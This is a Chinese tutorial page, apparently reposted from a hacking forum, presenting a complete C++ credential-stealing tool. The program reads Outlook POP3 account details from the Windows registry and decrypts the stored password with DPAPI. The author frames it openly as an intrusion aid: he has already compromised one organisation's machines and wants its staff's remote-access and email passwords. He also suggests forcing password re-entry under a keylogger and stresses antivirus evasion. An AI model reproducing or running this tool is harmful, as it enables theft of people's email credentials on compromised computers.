VC编程之VC 解密OUTLOOK pop3保存注册表密码
小标 2018-08-28 来源 : 阅读 1533 评论 0

摘要:本文主要向大家介绍了VC编程之VC 解密OUTLOOK pop3保存注册表密码,通过具体的内容向大家展示,希望对大家学习VC编程有所帮助。

本文主要向大家介绍了VC编程之VC 解密OUTLOOK pop3保存注册表密码,通过具体的内容向大家展示,希望对大家学习VC编程有所帮助。


用过OUTLOOK的人都知道,OUTLOOK的密码会以二进制的方式保存在注册表里,而我们只要找到注册表的值,是可以直接解密成铭文的。
这几天一直在搞一台个人机,这台机器关系人物是这样的。

A集团。

B集团。

我已经控制了B集团,但是B集团里有人还在A集团里干事,我比较喜欢A集团,所以得把B集团的远程访问内部的账户密码难道,其中就包括啦 OUTLOOK的密码。

但是一般用户在设置的时候,OUTLOOK密码是默认记住的,以下是几种办法:

OUTLOOK密码保存那儿,方式一般分3种把?(如果说错了请见谅)

1:IMAP
2:POP3
3:SMTP

今天研究了一天,觉得还是没问题的,办法如下:

Ps:很多人说网上工具不少,工具确实不少,但是你知道工具原理是怎么做的吗? 工具免杀吗?工具有后门吗? 这些都是一个问题,所以我才写这个小工具

1:找到PASSWORD的值,删了,键盘记录,直接记录下了。

2:直接找到地址,解密PASSWORD的值

目前我就想到这2种方式,本来之前zcgonvh和我说的时候,我说:不能直接把注册表值DUMP本地来破解吗?

zcgonvh  的回复是:不可以,必须在目标机器目标用户解密
dpapi用的是rsa/dsa+3des/aes,默认是rsa+3des。本地有一个与用户sid、机器全局guid关联的key用作解密,即使拷出来由于不同机器的用户sid和guid不同也会导致无效,光复制数据的话肯定是解密不了的。

所以这种方式我也没试过。

代码写的很粗糙,因为基础不行,所以给一些需要的人用。
Code:

#include "stdafx.h"
#include 
#include 
#include 
#include 
using namespace std;
#pragma comment(lib, "crypt32.lib") 
 
WINCRYPT32API
        BOOL
        WINAPI
        CryptUnprotectData(
        __in            DATA_BLOB*      pDataIn,             // in encr blob
        __deref_opt_out_opt LPWSTR*     ppszDataDescr,       // out
        __in_opt        DATA_BLOB*      pOptionalEntropy,
        __reserved      PVOID           pvReserved,
        __in_opt        CRYPTPROTECT_PROMPTSTRUCT*  pPromptStruct,
        __in            DWORD           dwFlags,
        __out           DATA_BLOB*      pDataOut
        );
 
void opt(char* prog)
{
        printf("Welcome [url=//www.90sec.org]www.90sec.org[/url]\r\n");
        printf("[-]:%s Get_pop3 passwords\r\n",prog);
}
 
int main(int argc,char* argv[])
{
        opt(argv[0]);
        printf("\r\n");
        HKEY hKey;     
        LPCTSTR lpRun = L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Test\\9375CFF0413111d3B88A00104B2A6676\\00000002";
        //READ POP3 DATA define
        //----------------------------------------
        DWORD sizeBuff = 1000; //read length
        DWORD dwtype = REG_BINARY; // reg type
        BYTE reBuff[1000] = {0}; //save string length
        long lRet; //Reg return values
        BYTE SmtpServer[200] = {0}; //read reg String length
        DWORD SMtplen = 200; //DWORD reg read length
        BYTE SmtpUser[200] = {0};//read reg String length
        DWORD SMtpUserlen = 200; //DWORD reg read length
        //------------------------------------------
 
        lRet= RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_READ, &hKey); //open reg
        if (lRet != ERROR_SUCCESS)
        {
                printf("RegOpenKeyEx Failed\r\n");
                return 0;
        }else
        {
                printf("RegOpenKeyEx Ing.....\r\n");
        }
 
        if (RegQueryValueEx(hKey,L"POP3 User",0,&dwtype,SmtpUser,&SMtpUserlen) == ERROR_SUCCESS) //query Pop3 Server address
        {
                //cout << "Smtp User:" << SmtpServer << endl;
                printf("POP3 User:%S\r\n",SmtpUser);//print Pop3 user
        }
 
        if (RegQueryValueEx(hKey,L"POP3 Server",0,&dwtype,SmtpServer,&SMtplen) == ERROR_SUCCESS) //query Pop3 Server address
        {
                //cout << "Smtp User:" << SmtpServer << endl;
                printf("Smtp Server:%S\r\n",SmtpServer);//print server address
        }
 
        if(RegQueryValueEx(hKey,L"POP3 Password",0,&dwtype,reBuff,&sizeBuff) == ERROR_SUCCESS) //query POP3 password
        {
                DATA_BLOB DataPassword;
                DATA_BLOB DataOutput;
                DataPassword.cbData = sizeBuff -1;
                DataPassword.pbData = &reBuff[1];
                if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt pop3 password
                {
                        //cout << DataOutput.pbData << endl;
                        wcout << "POP3 Password: " << (wchar_t*)DataOutput.pbData;   //print password
                }else
                {
                        cout << "Read error\r\n" << endl; //error
                        return 0;
                }
                return 0;
}
 
        RegCloseKey(hKey);
        return 0;
}


如果是其他方式,改改代码就好了,就是路径问题。没有遍历注册表,查找值,有功底的改改把。

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言VC/MFC频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 1 不喜欢 | 0
看完这篇文章有何感觉?已经有1人表态,100%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式AI+学习就业服务平台 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved